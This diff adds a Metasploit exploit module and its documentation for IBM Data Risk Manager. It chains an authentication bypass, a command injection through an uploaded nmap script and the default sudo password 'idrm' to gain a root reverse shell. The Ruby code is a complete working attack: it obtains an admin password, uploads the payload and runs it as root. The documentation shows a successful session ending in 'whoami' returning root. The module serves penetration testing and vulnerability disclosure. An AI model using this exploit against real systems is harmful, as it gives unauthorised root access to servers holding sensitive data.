diff --git a/documentation/modules/exploit/linux/http/ibm_drm_rce.md b/documentation/modules/exploit/linux/http/ibm_drm_rce.md new file mode 100644 index 0000000000..1626f5ae1e --- /dev/null +++ b/documentation/modules/exploit/linux/http/ibm_drm_rce.md @@ -0,0 +1,47 @@ +## Vulnerable Application + +IBM Data Risk Manager (IDRM) contains three vulnerabilities that can be chained by an unauthenticated attacker to achieve remote code execution as root. +The first is an unauthenticated bypass, followed by a command injection as the server user, and finally abuse of an insecure default password. +This module exploits all three vulnerabilities, giving the attacker a root shell. +At the time of disclosure, this is a 0day. Versions 2.0.3 and below are confirmed to be affected, and the latest 2.0.6 is most likely affected too. + + +### Vulnerability information +For more information about the vulnerability check the advisory at: +https://github.com/pedrib/PoC/blob/master/advisories/IBM/ibm\_drm/ibm\_drm\_rce.md + +### Setup + +The application is available to download as a Linux virtual appliance from IBM's website. You need to have a valid IBM contract to be able to do so. + +## Verification Steps + +Module defaults work very well, you should just need to set `RHOSTS` and `LHOST`. + +## Scenarios + + +## Scenarios + +A successful exploit will look like this: + + +``` +msf5 exploit(linux/http/ibm_drm_unauth_rce) > run + +[*] Started reverse TCP handler on 10.9.8.1:4444 +[+] 10.9.8.213:8443 - Successfully "stickied" our session ID JQElTQxh +[+] 10.9.8.213:8443 - We have obtained a new admin password 28010e88-6ffb-46e9-90d6-2ded732120d1 +[+] 10.9.8.213:8443 - ... and are authenticated as an admin! +[*] 10.9.8.213:8443 - Detected IBM Data Risk Manager version 2.0.2 or above +[+] 10.9.8.213:8443 - We have uploaded our payload... +[+] 10.9.8.213:8443 - and our nmap script file! +[+] 10.9.8.213:8443 - Bearer token 1b78100c-cf42-47fd-b64d-d36c07f1f934 obtained, wait for the final step where we invoke nmap... +[+] 10.9.8.213:8443 - Shell incoming! +[*] Command shell session 2 opened (10.9.8.1:4444 -> 10.9.8.213:57136) at 2020-04-21 15:46:29 +0700 + +whoami +root +uname -a +Linux idrm-server.ibm.com 3.10.0-862.3.2.el7.x86_64 #1 SMP Tue May 15 18:22:15 EDT 2018 x86_64 x86_64 x86_64 GNU/Linux +``` diff --git a/modules/exploits/linux/http/ibm_drm_rce.rb b/modules/exploits/linux/http/ibm_drm_rce.rb new file mode 100644 index 0000000000..185ab065e3 --- /dev/null +++ b/modules/exploits/linux/http/ibm_drm_rce.rb @@ -0,0 +1,318 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'IBM Data Risk Manager Unauthenticated Remote Code Execution', + 'Description' => %q{ + IBM Data Risk Manager (IDRM) contains three vulnerabilities that can be chained by + an unauthenticated attacker to achieve remote code execution as root. + The first is an unauthenticated bypass, followed by a command injection as the server user, + and finally abuse of an insecure default password. + This module exploits all three vulnerabilities, giving the attacker a root shell. + At the time of disclosure, this is a 0day. Versions 2.0.3 and below are confirmed to be + affected, and the latest 2.0.6 is most likely affected too. + }, + 'Author' => + [ + 'Pedro Ribeiro ' # Vulnerability discovery and Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2020-4427' ], # auth bypass + [ 'CVE', '2020-4428' ], # command injection + [ 'CVE', '2020-4429' ], # insecure default password + [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/IBM/ibm_drm/ibm_drm_rce.md' ], + [ 'URL', 'https://seclists.org/fulldisclosure/2020/Apr/33' ] + ], + 'Platform' => 'linux', + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'Targets' => + [ + [ 'IBM Data Risk Manager <= 2.0.3 (<= 2.0.6 possibly affected)', {} ] + ], + 'Privileged' => true, + 'DefaultOptions' => + { + 'WfsDelay' => 15, + 'PAYLOAD' => 'linux/x64/shell_reverse_tcp', + 'SSL' => true + }, + 'DefaultTarget' => 0, + 'DisclosureDate' => '2020-04-21' + ) + ) + + register_options( + [ + Opt::RPORT(8443), + OptString.new('TARGETURI', [ true, 'Default server path', '/']) + ] + ) + end + + def check + # at the moment there is no better way to detect AND be stealthy about it + session_id = rand_text_alpha(5..12) + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'albatross', 'saml', 'idpSelection'), + 'method' => 'GET', + 'vars_get' => { + 'id' => session_id, + 'userName' => 'admin' + } + }) + if res && (res.code == 302) && + res.headers['Location'].include?('localhost:8765') && + res.headers['Location'].include?('saml/idpSelection') + return Exploit::CheckCode::Detected + end + + Exploit::CheckCode::Unknown + end + + # post-exploitation: + # - delete the .enc files that were uploaded (register_file_for_cleanup seems to crap out) + def on_new_session(client) + if client.type == 'meterpreter' + # stdapi must be loaded before we can use fs.file + client.core.use('stdapi') if !client.ext.aliases.include?('stdapi') + client.fs.file.rm(@script_filepath) + client.fs.file.rm(@payload_filepath) + else + client.shell_command_token("rm #{@script_filepath}") + client.shell_command_token("rm #{@payload_filepath}") + end + end + + # version 2.0.1 runs as root, so we need to change the path to where we deploy the patches + def get_patches_path(cookie, csrf) + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'albatross', 'getAppInfo'), + 'method' => 'GET', + 'cookie' => cookie, + 'headers' => { 'CSRF-TOKEN' => csrf } + }) + + if res && (res.code == 200) && res.body =~ /appVersion":"2\.0\.1"/ + print_status("#{peer} - Detected IBM Data Risk Manager version 2.0.1") + return '/root/agile3/patches/' + end + print_status("#{peer} - Detected IBM Data Risk Manager version 2.0.2 or above") + '/home/a3user/agile3/patches/' + end + + def create_session_id + # step 1: create a session ID and try to make it stick + session_id = rand_text_alpha(5..12) + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'albatross', 'saml', 'idpSelection'), + 'method' => 'GET', + 'vars_get' => { + 'id' => session_id, + 'userName' => 'admin' + } + }) + if res && (res.code != 302) + fail_with(Failure::Unknown, "#{peer} - Failed to \"stick\" session ID") + end + + print_good("#{peer} - Successfully \"stickied\" our session ID #{session_id}") + + session_id + end + + def free_the_admin(session_id) + # step 2: give the session ID to the server and have it grant us a free admin password + post_data = Rex::MIME::Message.new + post_data.add_part('', nil, nil, 'form-data; name="deviceid"') + post_data.add_part(rand_text_alpha(8..15), nil, nil, 'form-data; name="password"') + post_data.add_part('admin', nil, nil, 'form-data; name="username"') + post_data.add_part('', nil, nil, 'form-data; name="clientDetails"') + post_data.add_part(session_id, nil, nil, 'form-data; name="sessionId"') + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'albatross', 'user', 'login'), + 'method' => 'POST', + 'data' => post_data.to_s, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" + }) + + unless res && (res.code == 200) && res.body[/"data":"([0-9a-f\-]{36})/] + fail_with(Failure::Unknown, "#{peer} - Failed to obtain the admin password.") + end + + password = Regexp.last_match(1) + print_good("#{peer} - We have obtained a new admin password #{password}") + + password + end + + def login_and_csrf(password) + # step 3: login and get an authenticated cookie + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'albatross', 'login'), + 'method' => 'POST', + 'vars_post' => { + 'userName' => 'admin', + 'password' => password + } + }) + unless res && (res.code == 302) && res.get_cookies + fail_with(Failure::Unknown, "#{peer} - Failed to authenticate as an admin.") + end + + print_good("#{peer} - ... and are authenticated as an admin!") + cookie = res.get_cookies + url = res.redirection.to_s + + # step 4: obtain CSRF header in order to be able to make valid requests + res = send_request_cgi({ + 'uri' => url, + 'method' => 'GET', + 'cookie' => cookie + }) + + unless res && (res.code == 200) && res.body =~ /var csrfToken = "([0-9a-f\-]{36})";/ + fail_with(Failure::Unknown, "#{peer} - Failed to authenticate obtain CSRF cookie.") + end + csrf = Regexp.last_match(1) + + return cookie, csrf + end + + def upload_payload_and_script(cookie, csrf, patches_path) + # step 5: upload our payload + payload_file = rand_text_alpha(5..12) + '.enc' + post_data = Rex::MIME::Message.new + post_data.add_part(generate_payload_exe, 'application/octet-stream', 'binary', "form-data; name=\"patchFiles\"; filename=\"#{payload_file}\"") + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'albatross', 'upload', 'patch'), + 'method' => 'POST', + 'cookie' => cookie, + 'headers' => { 'CSRF-TOKEN' => csrf }, + 'data' => post_data.to_s, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" + }) + + unless res && (res.code == 200) + fail_with(Failure::Unknown, "#{peer} - Failed to upload payload.") + end + + print_good("#{peer} - We have uploaded our payload... ") + + # step 6: upload our script file + # nmap will run as a3user (the server user), which has a default password of "idrm". + # a3user has sudo access, so that means we run as root! + # However let's do some basic error checking: if somehow the a3user password was changed and we cannot sudo + # to execute as root, we ensure our payload still executes as a3user. + # + # Note: for version 2.0.1, the above is not necessary as nmap runs as root. However, leave it anyway for simplicity. + script_file = rand_text_alpha(5..12) + '.enc' + @script_filepath = patches_path + script_file + @payload_filepath = patches_path + payload_file + rand_file = rand_text_alpha(5..12) + cmd = "chmod +x #{@payload_filepath}; echo idrm | sudo -S whoami > /tmp/#{rand_file};" + cmd << " root=`cat /tmp/#{rand_file}`;" + cmd << " if [ $root == 'root' ]; then sudo #{@payload_filepath};" + cmd << " else #{@payload_filepath}; fi; rm /tmp/#{rand_file}" + script_file_contents = "os.execute(\"#{cmd}\")" + + post_data = Rex::MIME::Message.new + post_data.add_part(script_file_contents, 'application/octet-stream', 'binary', "form-data; name=\"patchFiles\"; filename=\"#{script_file}\"") + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'albatross', 'upload', 'patch'), + 'method' => 'POST', + 'cookie' => cookie, + 'headers' => { 'CSRF-TOKEN' => csrf }, + 'data' => post_data.to_s, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" + }) + + unless res && (res.code == 200) + fail_with(Failure::Unknown, "#{peer} - Failed to upload nmap script file.") + end + + print_good("#{peer} - and our nmap script file!") + end + + def obtain_bearer_token(password) + # step 7: we need to authenticate again to get a Bearer token (instead of the cookie we already have) + post_data = Rex::MIME::Message.new + post_data.add_part('', nil, nil, 'form-data; name="deviceid"') + post_data.add_part(password, nil, nil, 'form-data; name="password"') + post_data.add_part('admin', nil, nil, 'form-data; name="username"') + post_data.add_part('', nil, nil, 'form-data; name="clientDetails"') + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'albatross', 'user', 'login'), + 'method' => 'POST', + 'data' => post_data.to_s, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" + }) + + unless res && (res.code == 200) && res.body =~ /\"data\":\{\"access_token\":\"([0-9a-f\-]{36})\",\"token_type\":\"bearer\"/ + fail_with(Failure::Unknown, "#{peer} - Failed to obtain Bearer token.") + end + + bearer = Regexp.last_match(1) + print_good("#{peer} - Bearer token #{bearer} obtained, wait for the final step where we invoke nmap...") + + bearer + end + + def exploit + # step 1: create a session ID and try to make it stick + session_id = create_session_id + + # step 2: give the session ID to the server and have it grant us a free admin password + password = free_the_admin(session_id) + + # step 3: login and get an authenticated cookie + # step 4: obtain CSRF header in order to be able to make valid requests + cookie, csrf = login_and_csrf(password) + + patches_path = get_patches_path(cookie, csrf) + + # step 5: upload our payload + # step 6: upload our script file + upload_payload_and_script(cookie, csrf, patches_path) + + # step 7: we need to authenticate again to get a Bearer token (instead of the cookie we already have) + bearer = obtain_bearer_token(password) + + # step 8 and final: invoke the nmap scan with our script file + script = "--script=#{@script_filepath}" + post_data = Rex::MIME::Message.new + post_data.add_part('', nil, nil, 'form-data; name="clientDetails"') + post_data.add_part('1', nil, nil, 'form-data; name="type"') + post_data.add_part('', nil, nil, 'form-data; name="portRange"') + post_data.add_part(script, nil, nil, 'form-data; name="ipAddress"') + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'albatross', 'restAPI', 'v2', 'nmap', 'run', 'scan', rand(99 + 1).to_s), + 'method' => 'POST', + 'headers' => { 'Authorization' => "Bearer #{bearer}" }, + 'data' => post_data.to_s, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" + }) + unless res && (res.code == 200) + fail_with(Failure::Unknown, "#{peer} - Failed to run nmap scan.") + end + + print_good("#{peer} - Shell incoming!") + end +end